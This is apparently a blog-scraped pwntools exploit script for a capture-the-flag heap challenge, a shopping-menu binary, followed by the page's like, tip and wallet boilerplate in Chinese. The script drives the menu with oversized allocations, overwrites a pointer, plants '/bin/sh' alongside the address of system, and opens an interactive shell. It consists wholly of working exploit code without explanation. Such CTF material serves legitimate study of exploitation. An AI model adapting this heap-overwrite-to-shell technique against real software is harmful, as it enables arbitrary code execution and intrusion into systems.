context(arch = elf.arch, log_level = 'debug', os = 'linux')

def dbg():
	gdb.attach(io)
	
libc = ELF('./libc6_2.31-0ubuntu9.15_amd64.so')
	
def add(size, count, content = ''):
	io.sendlineafter('Action: ', '1')
	io.sendlineafter('Item ID: ', str(size))
	io.sendlineafter('Quantity: ', str(count))
	if (content == ''):
		io.sendlineafter('Add gift message? (0/1): ', '0')
	else:
		io.sendlineafter('Add gift message? (0/1): ', '1')
		io.sendafter('Message: ', content)
		
system_plt = elf.plt['system']

io.sendlineafter('Enter the password: ', 'I\'m ready for shopping')
sleep(3)

for i in range(12):
	add(0x4000, 1000)

add(0x4000, 262, b'a' * 0x3ff0)

io.send(b'a' * 0x50 + p32(0) + p32(2) + p64(0) * 6 + p64(0x60201d))

add(0x60, 0, (b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt)).ljust(0x60, b'\x00'))

io.interactive()
  • 35
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YX-hueimie

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值